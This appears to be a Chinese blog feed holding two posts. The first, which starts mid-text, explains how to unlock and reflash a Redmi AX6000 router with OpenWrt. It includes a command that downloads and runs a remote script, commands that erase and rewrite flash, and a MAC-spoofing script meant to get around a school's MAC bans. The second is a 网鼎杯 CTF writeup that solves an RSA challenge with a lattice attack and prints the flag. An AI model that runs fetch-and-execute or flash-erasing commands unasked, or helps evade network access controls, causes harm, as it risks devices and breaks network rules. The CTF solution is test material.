if [ "\$channel" = "release" ]; then
sed -i 's/channel=.*/channel="debug"/g' /etc/init.d/dropbear
fi

if [ -z "\$(pidof dropbear)" -o -z "\$(netstat -ntul | grep :22)" ]; then
/etc/init.d/dropbear restart 2>/dev/null
/etc/init.d/dropbear enable
fi
}

install() {
# unlock SSH.
unlock

# host key is empty, restart dropbear to generate the host key.
[ -s \$host_key ] || /etc/init.d/dropbear restart 2>/dev/null

# Backup the host key.
if [ ! -s \$host_key_bk ]; then
i=0
while [ \$i -le 30 ]
do
if [ -s \$host_key ]; then
cp -f \$host_key \$host_key_bk 2>/dev/null
break
fi
let i++
sleep 1s
done
fi

# Add script to system autostart
uci set firewall.auto_ssh=include
uci set firewall.auto_ssh.type='script'
uci set firewall.auto_ssh.path="\${auto_ssh_dir}/auto_ssh.sh"
uci set firewall.auto_ssh.enabled='1'
uci commit firewall
echo -e "\033[32m SSH unlock complete. \033[0m"
}

uninstall() {
# Remove scripts from system autostart
uci delete firewall.auto_ssh
uci commit firewall
echo -e "\033[33m SSH unlock has been removed. \033[0m"
}

main() {
[ -z "\$1" ] && unlock && return
case "\$1" in
install)
install
;;
uninstall)
uninstall
;;
*)
echo -e "\033[31m Unknown parameter: \$1 \033[0m"
return 1
;;
esac
}

main "\$@"
EOF

chmod +x auto_ssh.sh

# 设置自动启动
uci set firewall.auto_ssh=include
uci set firewall.auto_ssh.type='script'
uci set firewall.auto_ssh.path='/data/auto_ssh/auto_ssh.sh'
uci set firewall.auto_ssh.enabled='1'
uci commit firewall

这个文件你也可以放在别的位置,自己修改上面脚本里面的文件位置就行,不过要注意重启是否会消失,有些路由器重启会自动清除文件的(例如我前阵子弄的WAR308)

设置时区

最后一步是设置时区,使用下面的命令设置时区

1
2
3
4
uci set system.@system[0].timezone='CST-8'
uci set system.@system[0].webtimezone='CST-8'
uci set system.@system[0].timezoneindex='2.84'
uci commit

关闭开发者模式

使用下面的命令关闭开发者模式

1
mtd erase crash

最后是重启,直接打reboot就行了

通过SSH刷入uboot

当我们通过SSH连接进路由器后,我们需要保证路由器可以联网,然后运行下面的命令

1
$ cd /tmp && curl --silent -O https://fastly.jsdelivr.net/gh/miaoermua/unlock-redmi-ax6000@main/uboot.sh && chmod +x uboot.sh && ./uboot.sh

运行了以后,脚本会帮你备份你的分区文件,记得把它们弄出来,要不然没办法恢复原厂系统,分别是/tmp/mtd5_FIP.bin/tmp/mtd4_Factory.bin

拿出来以后,再运行下面的命令来刷入uboot,最后会弹出一行success,就说明完成了

1
2
3
mtd erase FIP
mtd write /tmp/mt7986_redmi_ax6000-fip-fixed-parts.bin FIP
mtd verify /tmp/mt7986_redmi_ax6000-fip-fixed-parts.bin FIP

进入uboot,刷入openwrt系统

进入uboot模式

先拔掉电源,然后用牙签/卡针之类的尖锐的东西,戳着reset键,然后插上电源等待15秒以上,就可以松开了,这个就可以用电脑访问uboot了

uboot模式下,路由器的灯不会亮

电脑访问uboot

在进入uboot之前,请先把自己的电脑的ip地址修改一下,因为uboot模式下没有DHCP

然后访问http://192.168.31.1进入uboot,界面应该是像下面这样的

我们尝试了下面的两个系统(因为我这个同学记错路由器的空间大小以为CatWrt的分区大小给小了于是刷了ImmortalWrt)

刷入系统

下载好你需要的系统包后,直接在uboot里面上传,上传后会读条,这个时候路由器在校验系统包和计算md5,直接点击update就可以了

第一次刷可能会出现下图这样的fail提示,我们返回重新上传刷一次就行了

刷好了访问系统包对应的ip地址就可以进入openwrt了

其他

进入openwrt后,发现这个机子的存储应该是256MB(图片是CatWrt的终端)

内存为512MB左右

END

怎么说呢,这次应该是我第一次真正去刷品牌路由器成功的,我以前刷过小米的AX3000T但是刷炸了;讲真,品牌路由器的内存和存储还是给得太小了

当然这次成功也离不开下面这些参考文档(注:里面有些链接是过期的,所以为什么我会综合起来写一篇文,就是避免其他人做到一半发现链接404不知道怎么做了)

ALL IN ALL,刷路由器还是很好玩的 :D

Ref:

https://docs.qq.com/doc/DS1RlUVhUYXp3YnhL

https://www.right.com.cn/forum/thread-8261104-1-1.html

https://blog.csdn.net/sxf1061700625/article/details/130328437

真正的END

因为我发现我们学校会BAN我的MAC地址,于是我顺带放出我写的MAC地址更换脚本(可以设置计划任务)

MAC备份还原脚本

避免你需要还原你路由器真正的mac的时候找不到mac,建议你用这个先备份一下你路由器的mac

如果你的网口不是eth0,请先更换一下网口!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/sh

MAC_FILE="/root/mac"

# 获取当前MAC地址并保存到文件
save_mac() {
CURRENT_MAC=$(ip link show eth0 | grep ether | awk '{print $2}')
echo "当前的MAC地址是: $CURRENT_MAC"
echo "$CURRENT_MAC" > "$MAC_FILE"
echo "已保存当前MAC地址到 $MAC_FILE"
}

# 从文件中恢复MAC地址
restore_mac() {
if [ -f "$MAC_FILE" ]; then
SAVED_MAC=$(cat "$MAC_FILE")
echo "从文件恢复MAC地址: $SAVED_MAC"
ip link set dev eth0 down
ip link set dev eth0 address "$SAVED_MAC"
ip link set dev eth0 up
echo "已恢复MAC地址到eth0"
else
echo "MAC文件不存在,无法恢复MAC地址"
fi
}

# 检查参数并执行对应的操作
if [ "$1" = "save" ]; then
save_mac
elif [ "$1" = "restore" ]; then
restore_mac
else
echo "用法: $0 {save|restore}"
echo "save: 保存当前的MAC地址"
echo "restore: 恢复之前保存的MAC地址"
fi

Mac生成替换脚本

我这里设置了固定的前缀,是因为我路由器的MAC地址带了这三个,建议改成自己的

如果你的网口不是eth0,请先更换一下网口!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/sh

# 生成一个随机的MAC地址
generate_mac() {
PREFIX="c6:1f:d8"
# 使用 /dev/urandom 获取随机数
HEX1=$(hexdump -n 1 -e '1/1 "%02X"' /dev/urandom)
HEX2=$(hexdump -n 1 -e '1/1 "%02X"' /dev/urandom)
HEX3=$(hexdump -n 1 -e '1/1 "%02X"' /dev/urandom)
echo "$PREFIX:$HEX1:$HEX2:$HEX3"
}

# 获取新的MAC地址
NEW_MAC=$(generate_mac)
echo "生成的新MAC地址为: $NEW_MAC"

# 使用新的MAC地址修改eth0的MAC地址
ip link set dev eth0 down
ip link set dev eth0 address $NEW_MAC
ip link set dev eth0 up

# 验证修改是否成功
ip link show eth0 | grep ether

Openwrt备份备份恢复脚本

注意修改前两行

1
2
3
4
5
# 定义备份目录
BACKUP_DIR="/mnt/usb1-1"

# 定义 OpenWrt 系统路径
OPENWRT_MMC="/dev/mmcblk0"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
#!/bin/ash

# OpenWrt 备份与恢复管理脚本
# 支持命令行参数快速备份:--owrt-backup --config-backup --iptables-backup --firewall-backup --all-backup

# 定义备份目录
BACKUP_DIR="/mnt/usb1-1"

# 系统参数
OPENWRT_MMC="/dev/mmcblk0"
FIREWALL_CONFIG="/etc/config/firewall"

# 备份子目录
OPENWRT_BACKUP_DIR="$BACKUP_DIR/openwrt-backup"
OPENWRT_CONFIG_BACKUP_DIR="$BACKUP_DIR/openwrt-config-backup"
IPTABLES_BACKUP_DIR="$BACKUP_DIR/iptables-backup"
FIREWALL_BACKUP_DIR="$BACKUP_DIR/firewall-backup"

# 初始化目录
mkdir -p $OPENWRT_BACKUP_DIR $OPENWRT_CONFIG_BACKUP_DIR $IPTABLES_BACKUP_DIR $FIREWALL_BACKUP_DIR

# 获取当前日期
CURRENT_DATE=$(date +%Y%m%d)

# 定义颜色代码
RED='\033[31m'
GREEN='\033[32m'
YELLOW='\033[33m'
BLUE='\033[34m'
RESET='\033[0m'

#######################################
# 核心备份功能函数
#######################################

backup_full_image() {
echo -e "${BLUE}[1/4] 开始备份系统镜像...${RESET}"
local temp_bin="$OPENWRT_BACKUP_DIR/temp_${CURRENT_DATE}.bin"
local backup_file="$OPENWRT_BACKUP_DIR/openwrt-backup-${CURRENT_DATE}.tar.gz"

# 创建磁盘镜像
if ! dd if="$OPENWRT_MMC" of="$temp_bin" bs=1M; then
echo -e "${RED}错误:磁盘镜像创建失败!${RESET}"
return 1
fi

# 压缩备份
if tar -czf "$backup_file" -C "$OPENWRT_BACKUP_DIR" $(basename $temp_bin); then
md5sum $backup_file > ${backup_file}.md5
echo -e "${GREEN}系统镜像备份成功:${backup_file}${RESET}"
else
echo -e "${RED}错误:压缩备份失败!${RESET}"
fi
rm -f $temp_bin
}

restore_full_image() {
echo -e "${BLUE}[系统恢复] 请选择备份文件:${RESET}"
ls -lh $OPENWRT_BACKUP_DIR/openwrt-backup-*.tar.gz 2>/dev/null || { echo -e "${RED}未找到备份文件!${RESET}"; return; }

read -p "请输入要恢复的文件名: " backup_file
local full_path="$OPENWRT_BACKUP_DIR/$backup_file"

# 验证文件
[ ! -f "$full_path" ] && echo -e "${RED}文件不存在!${RESET}" && return
[ ! -f "${full_path}.md5" ] && echo -e "${YELLOW}警告:未找到MD5校验文件${RESET}" || (md5sum -c "${full_path}.md5" || { echo -e "${RED}MD5校验失败!${RESET}"; return; })

# 确认操作
read -p "确定要恢复系统镜像吗?此操作不可逆![y/N]: " confirm
[[ "$confirm" != "y" && "$confirm" != "Y" ]] && return

# 解压并恢复
echo -e "${BLUE}正在解压镜像文件...${RESET}"
local temp_bin="${full_path%.tar.gz}.bin"
tar -xzf "$full_path" -C "$OPENWRT_BACKUP_DIR" || { echo -e "${RED}解压失败!${RESET}"; return; }

echo -e "${BLUE}正在写入系统镜像...${RESET}"
if dd if="$temp_bin" of="$OPENWRT_MMC" bs=1M; then
echo -e "${GREEN}系统恢复成功,请重启设备!${RESET}"
else
echo -e "${RED}镜像写入失败!${RESET}"
fi
rm -f $temp_bin
}

backup_config() {
echo -e "${BLUE}[2/4] 备份系统配置...${RESET}"
local backup_file="$OPENWRT_CONFIG_BACKUP_DIR/openwrt-config-backup-${CURRENT_DATE}.bak"
if sysupgrade -b $backup_file; then
md5sum $backup_file > ${backup_file}.md5
echo -e "${GREEN}系统配置备份成功:${backup_file}${RESET}"
else
echo -e "${RED}错误:配置备份失败!${RESET}"
fi
}

restore_config() {
echo -e "${BLUE}[配置恢复] 请选择备份文件:${RESET}"
ls -lh $OPENWRT_CONFIG_BACKUP_DIR/openwrt-config-backup-*.bak 2>/dev/null || { echo -e "${RED}未找到备份文件!${RESET}"; return; }

read -p "请输入要恢复的文件名: " backup_file
local full_path="$OPENWRT_CONFIG_BACKUP_DIR/$backup_file"

# 验证文件
[ ! -f "$full_path" ] && echo -e "${RED}文件不存在!${RESET}" && return
[ ! -f "${full_path}.md5" ] && echo -e "${YELLOW}警告:未找到MD5校验文件${RESET}" || (md5sum -c "${full_path}.md5" || { echo -e "${RED}MD5校验失败!${RESET}"; return; })

# 确认操作
read -p "确定要恢复系统配置吗?[y/N]: " confirm
[[ "$confirm" != "y" && "$confirm" != "Y" ]] && return

# 创建临时备份
local current_backup="$OPENWRT_CONFIG_BACKUP_DIR/current_config_$(date +%H%M%S).bak"
sysupgrade -b $current_backup || { echo -e "${RED}当前配置备份失败,已中止恢复!${RESET}"; return; }

# 执行恢复
if sysupgrade -r $full_path; then
echo -e "${GREEN}配置恢复成功,正在重启网络服务...${RESET}"
/etc/init.d/network restart
else
echo -e "${RED}配置恢复失败!${RESET}"
fi
}

backup_iptables() {
echo -e "${BLUE}[3/4] 备份iptables规则...${RESET}"
local backup_file="$IPTABLES_BACKUP_DIR/iptables-backup-${CURRENT_DATE}.bak"
if iptables-save > $backup_file; then
md5sum $backup_file > ${backup_file}.md5
echo -e "${GREEN}iptables备份成功:${backup_file}${RESET}"
else
echo -e "${RED}错误:iptables备份失败!${RESET}"
fi
}

restore_iptables() {
echo -e "${BLUE}[iptables恢复] 请选择备份文件:${RESET}"
ls -lh $IPTABLES_BACKUP_DIR/iptables-backup-*.bak 2>/dev/null || { echo -e "${RED}未找到备份文件!${RESET}"; return; }

read -p "请输入要恢复的文件名: " backup_file
local full_path="$IPTABLES_BACKUP_DIR/$backup_file"

# 验证文件
[ ! -f "$full_path" ] && echo -e "${RED}文件不存在!${RESET}" && return
[ ! -f "${full_path}.md5" ] && echo -e "${YELLOW}警告:未找到MD5校验文件${RESET}" || (md5sum -c "${full_path}.md5" || { echo -e "${RED}MD5校验失败!${RESET}"; return; })

# 确认操作
read -p "确定要恢复iptables规则吗?[y/N]: " confirm
[[ "$confirm" != "y" && "$confirm" != "Y" ]] && return

if iptables-restore < $full_path; then
echo -e "${GREEN}iptables规则恢复成功!${RESET}"
else
echo -e "${RED}规则恢复失败,请检查文件格式!${RESET}"
fi
}

backup_firewall() {
echo -e "${BLUE}[4/4] 备份防火墙配置...${RESET}"
local backup_file="$FIREWALL_BACKUP_DIR/firewall-backup-${CURRENT_DATE}.bak"
if cp $FIREWALL_CONFIG $backup_file; then
md5sum $backup_file > ${backup_file}.md5
echo -e "${GREEN}防火墙配置备份成功:${backup_file}${RESET}"
else
echo -e "${RED}错误:防火墙配置备份失败!${RESET}"
fi
}

restore_firewall() {
echo -e "${BLUE}[防火墙恢复] 请选择备份文件:${RESET}"
ls -lh $FIREWALL_BACKUP_DIR/firewall-backup-*.bak 2>/dev/null || { echo -e "${RED}未找到备份文件!${RESET}"; return; }

read -p "请输入要恢复的文件名: " backup_file
local full_path="$FIREWALL_BACKUP_DIR/$backup_file"

# 验证文件
[ ! -f "$full_path" ] && echo -e "${RED}文件不存在!${RESET}" && return
[ ! -f "${full_path}.md5" ] && echo -e "${YELLOW}警告:未找到MD5校验文件${RESET}" || (md5sum -c "${full_path}.md5" || { echo -e "${RED}MD5校验失败!${RESET}"; return; })

# 确认操作
read -p "确定要恢复防火墙配置吗?[y/N]: " confirm
[[ "$confirm" != "y" && "$confirm" != "Y" ]] && return

# 备份当前配置
local current_backup="$FIREWALL_BACKUP_DIR/current_firewall_$(date +%H%M%S).bak"
cp $FIREWALL_CONFIG $current_backup || { echo -e "${RED}当前配置备份失败,已中止恢复!${RESET}"; return; }

if cp $full_path $FIREWALL_CONFIG; then
echo -e "${GREEN}防火墙配置恢复成功,正在重启服务...${RESET}"
/etc/init.d/firewall restart
else
echo -e "${RED}配置恢复失败!${RESET}"
fi
}

#######################################
# 命令行参数处理
#######################################

print_banner() {
echo -e "${YELLOW}"
echo " _ _ _ _ _"
echo " _____ ___ __| |_ _ _| |_(_) | ___| |__"
echo " / _ \ \ /\ / / '__| __|____| | | | __| | | / __| '_ \\"
echo "| (_) \ V V /| | | ||_____| |_| | |_| | |_\__ \ | | |"
echo " \___/ \_/\_/ |_| \__| \__,_|\__|_|_(_)___/_| |_|"
echo -e "${RESET}"
echo -e "${BLUE} —— OpenWrt备份工具 @GamerNoTitle${RESET}"
echo -e "${BLUE} https://bili33.top${RESET}\n"
}

if [ $# -gt 0 ]; then
print_banner
echo -e "${GREEN}检测到命令行参数,进入快速备份模式...${RESET}"

# 处理多个参数
for param in "$@"; do
case $param in
--owrt-backup) backup_full_image ;;
--config-backup) backup_config ;;
--iptables-backup) backup_iptables ;;
--firewall-backup) backup_firewall ;;
--all-backup)
backup_full_image
backup_config
backup_iptables
backup_firewall
;;
*) echo -e "${RED}错误:未知参数 $param${RESET}"; exit 1 ;;
esac
done
exit 0
fi

#######################################
# 交互式菜单系统
#######################################

show_menu() {
clear
print_banner
echo -e "${YELLOW}======================= owrt-util.sh ========================${RESET}"
echo -e "${YELLOW} OpenWrt 备份与恢复管理脚本 ${RESET}"
echo -e "${YELLOW} https://bili33.top ${RESET}"
echo -e "${YELLOW}=============================================================${RESET}"
echo "1. 完整系统备份 (磁盘镜像)"
echo "2. 系统配置备份"
echo "3. iptables规则备份"
echo "4. 防火墙配置备份"
echo "5. 一键全量备份"
echo -e "${YELLOW}-------------------------------------------------------------${RESET}"
echo "6. 恢复系统镜像"
echo "7. 恢复系统配置"
echo "8. 恢复iptables规则"
echo "9. 恢复防火墙配置"
echo -e "${YELLOW}-------------------------------------------------------------${RESET}"
echo "0. 退出"
echo -e "${YELLOW}=============================================================${RESET}"
echo -n "请输入选择: "
}


while true; do
show_menu
read choice
case $choice in
1) backup_full_image ;;
2) backup_config ;;
3) backup_iptables ;;
4) backup_firewall ;;
5)
backup_full_image
backup_config
backup_iptables
backup_firewall
;;
6) restore_full_image ;;
7) restore_config ;;
8) restore_iptables ;;
9) restore_firewall ;;
0) exit 0 ;;
*) echo -e "${RED}无效输入,请重新选择!${RESET}" ;;
esac
echo -e "\n${BLUE}按回车返回菜单...${RESET}"
read
done
🔲 ☆

【Volcania】2024第四届“网鼎杯”网络安全大赛青龙组初赛Writeup

Crypto

Crypto01

小华刚上班第一天,便发现自己的重要文件被加密,只留下了一段神秘代码,请你结合神秘代码帮助他解密。

从附件得到题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import *
from secret import flag

p = getPrime(512)
q = getPrime(512)
n = p * q
d = getPrime(299)
e = inverse(d,(p-1)*(q-1))
m = bytes_to_long(flag)
c = pow(m,e,n)
hint1 = p >> (512-70)
hint2 = q >> (512-70)

print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
print(f"hint1 = {hint1}")
print(f"hint2 = {hint2}")

n = 114118679597315994458138232536029700477506764789782067073905766324635160145597602207164997807103187990046901850125798774503781767630201814025142189432534890147340404293319424524872695905368897290630698362559606549134377263394129199145835483978820237203114250882524438599220793209608842281879976692805855046971
e = 60930873636939710528141652371287627298970658591028170597199994159301433213017349592910581153194811053524011559886529831760967700162629319952838130973563991607758850226327915934518549584588693854388996425152821459866209334446088324204759334980239670811977086959854952233887459542997456604453766160444477603017
c = 11058775585296329544235824126670578486484201903851563493984057289075513008773878014007377223222464555346135675900619903617528838701118612201290486747980233570288315027654510774940371032813981282018787668864123759554297515664915358447425647424759926416629451915378248520432568536260902676664298855076689608823
hint1 = 884675140903190287932
hint2 = 1000130673738973880482

根据检索,发现是RSA高位爆破题目,并且在2023江苏省领航杯有对应的题目,而且非常凑巧的是师傅写了个傻瓜脚本

https://www.cnblogs.com/mumuhhh/p/17789591.html#bd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
import time
time.clock = time.time

debug = True

strict = False

helpful_only = True
dimension_min = 7 # 如果晶格达到该尺寸,则停止移除
# 显示有用矢量的统计数据
def helpful_vectors(BB, modulus):
nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii,ii] >= modulus:
nothelpful += 1

print (nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")

# 显示带有 0 和 X 的矩阵
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
if BB[ii, ii] >= bound:
a += '~'
#print (a)

# 尝试删除无用的向量
# 从当前 = n-1(最后一个向量)开始
def remove_unhelpful(BB, monomials, bound, current):
# 我们从当前 = n-1(最后一个向量)开始
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB

# 开始从后面检查
for ii in range(current, -1, -1):
# 如果它没有用
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
# 让我们检查它是否影响其他向量
for jj in range(ii + 1, BB.dimensions()[0]):
# 如果另一个向量受到影响:
# 我们增加计数
if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj

# 等级:0
# 如果没有其他载体最终受到影响
# 我们删除它
if affected_vectors == 0:
#print ("* removing unhelpful vector", ii)
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB

# 等级:1
#如果只有一个受到影响,我们会检查
# 如果它正在影响别的向量
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
# 如果它影响哪怕一个向量
# 我们放弃这个
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
# 如果没有其他向量受到影响,则将其删除,并且
# 这个有用的向量不够有用
#与我们无用的相比
if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
#print ("* removing unhelpful vectors", ii, "and", affected_vector_index)
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
# nothing happened
return BB

"""
Returns:
* 0,0 if it fails
* -1,-1 如果 "strict=true",并且行列式不受约束
* x0,y0 the solutions of `pol`
"""
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
"""
Boneh and Durfee revisited by Herrmann and May

在以下情况下找到解决方案:
* d < N^delta
* |x|< e^delta
* |y|< e^0.5
每当 delta < 1 - sqrt(2)/2 ~ 0.292
"""

# substitution (Herrman and May)
PR.<u, x, y> = PolynomialRing(ZZ) #多项式环
Q = PR.quotient(x*y + 1 - u) # u = xy + 1
polZ = Q(pol).lift()

UU = XX*YY + 1

# x-移位
gg = []
for kk in range(mm + 1):
for ii in range(mm - kk + 1):
xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
gg.append(xshift)
gg.sort()

# 单项式 x 移位列表
monomials = []
for polynomial in gg:
for monomial in polynomial.monomials(): #对于多项式中的单项式。单项式():
if monomial not in monomials: # 如果单项不在单项中
monomials.append(monomial)
monomials.sort()

# y-移位
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
yshift = Q(yshift).lift()
gg.append(yshift) # substitution

# 单项式 y 移位列表
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
monomials.append(u^kk * y^jj)

# 构造格 B
nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0, 0)
for jj in range(1, ii + 1):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)

#约化格的原型
if helpful_only:
# #自动删除
BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
# 重置维度
nn = BB.dimensions()[0]
if nn == 0:
print ("failure")
return 0,0

# 检查向量是否有帮助
if debug:
helpful_vectors(BB, modulus^mm)

# 检查行列式是否正确界定
det = BB.det()
bound = modulus^(mm*nn)
if det >= bound:
print ("We do not have det < bound. Solutions might not be found.")
print ("Try with highers m and t.")
if debug:
diff = (log(det) - log(bound)) / log(2)
print ("size det(L) - size e^(m*n) = ", floor(diff))
if strict:
return -1, -1
else:
print ("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

# display the lattice basis
if debug:
matrix_overview(BB, modulus^mm)

# LLL
if debug:
print ("optimizing basis of the lattice via LLL, this can take a long time")

#BB = BB.BKZ(block_size=25)
BB = BB.LLL()

if debug:
print ("LLL is done!")

# 替换向量 i 和 j ->多项式 1 和 2
if debug:
print ("在格中寻找线性无关向量")
found_polynomials = False

for pol1_idx in range(nn - 1):
for pol2_idx in range(pol1_idx + 1, nn):

# 对于i and j, 构造两个多项式

PR.<w,z> = PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)

# 结果
PR.<q> = PolynomialRing(ZZ)
rr = pol1.resultant(pol2)


if rr.is_zero() or rr.monomials() == [1]:
continue
else:
print ("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials = True
break
if found_polynomials:
break

if not found_polynomials:
print ("no independant vectors could be found. This should very rarely happen...")
return 0, 0

rr = rr(q, q)

# solutions
soly = rr.roots()

if len(soly) == 0:
print ("Your prediction (delta) is too small")
return 0, 0

soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]
return solx, soly

def example():
############################################
# 随机生成数据
##########################################
#start_time =time.perf_counter
start =time.clock()
size=512
length_N = 2*size;
ss=0
s=70;
M=1 # the number of experiments
delta = 299/1024
# p = random_prime(2^512,2^511)
for i in range(M):
# p = random_prime(2^size,None,2^(size-1))
# q = random_prime(2^size,None,2^(size-1))
# if(p<q):
# temp=p
# p=q
# q=temp
N =
e =
c =
hint1 = # p高位
hint2 = # q高位
# print ("p真实高",s,"比特:", int(p/2^(512-s)))
# print ("q真实高",s,"比特:", int(q/2^(512-s)))

# N = p*q;


# 解密指数d的指数( 最大0.292)



m = 7 # 格大小(越大越好/越慢)
t = round(((1-2*delta) * m)) # 来自 Herrmann 和 May 的优化
X = floor(N^delta) #
Y = floor(N^(1/2)/2^s) # 如果 p、 q 大小相同,则正确
for l in range(int(hint1),int(hint1)+1):
print('\n\n\n l=',l)
pM=l;
p0=pM*2^(size-s)+2^(size-s)-1;
q0=N/p0;
qM=int(q0/2^(size-s))
A = N + 1-pM*2^(size-s)-qM*2^(size-s);
#A = N+1
P.<x,y> = PolynomialRing(ZZ)
pol = 1 + x * (A + y) #构建的方程

# Checking bounds
#if debug:
#print ("=== 核对数据 ===")
#print ("* delta:", delta)
#print ("* delta < 0.292", delta < 0.292)
#print ("* size of e:", ceil(log(e)/log(2))) # e的bit数
# print ("* size of N:", len(bin(N))) # N的bit数
#print ("* size of N:", ceil(log(N)/log(2))) # N的bit数
#print ("* m:", m, ", t:", t)

# boneh_durfee
if debug:
##print ("=== running algorithm ===")
start_time = time.time()


solx, soly = boneh_durfee(pol, e, m, t, X, Y)


if solx > 0:
#print ("=== solution found ===")
if False:
print ("x:", solx)
print ("y:", soly)

d_sol = int(pol(solx, soly) / e)
ss=ss+1

print ("=== solution found ===")
print ("p的高比特为:",l)
print ("q的高比特为:",qM)
print ("d=",d_sol)

if debug:
print("=== %s seconds ===" % (time.time() - start_time))
#break
print("ss=",ss)
#end=time.process_time
end=time.clock()
print('Running time: %s Seconds'%(end-start))
if __name__ == "__main__":
example()

所以把数据填进去,经过四十秒的紧张计算就得到了d

d=697791299328204454525050115930116025227680411125210507143694169686384063060766101784129969

然后来个经典的RSA解密脚本

1
2
3
4
5
6
7
8
from Crypto.Util.number import *

n = 114118679597315994458138232536029700477506764789782067073905766324635160145597602207164997807103187990046901850125798774503781767630201814025142189432534890147340404293319424524872695905368897290630698362559606549134377263394129199145835483978820237203114250882524438599220793209608842281879976692805855046971
d = 697791299328204454525050115930116025227680411125210507143694169686384063060766101784129969
c = 11058775585296329544235824126670578486484201903851563493984057289075513008773878014007377223222464555346135675900619903617528838701118612201290486747980233570288315027654510774940371032813981282018787668864123759554297515664915358447425647424759926416629451915378248520432568536260902676664298855076689608823

m = pow(c,d,n)
print(long_to_bytes(m))

解出flag为wdflag{c5b3e498-0f4c-4f40-937f-e690d8062b89}

Crypto02

运维人员在网络监控中发现了一段可疑的字符串,经过初步分析,他们怀疑这段数据可能是使用AES加密的。为了确定这段数据的内容,他们需要找到正确的密钥。

题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
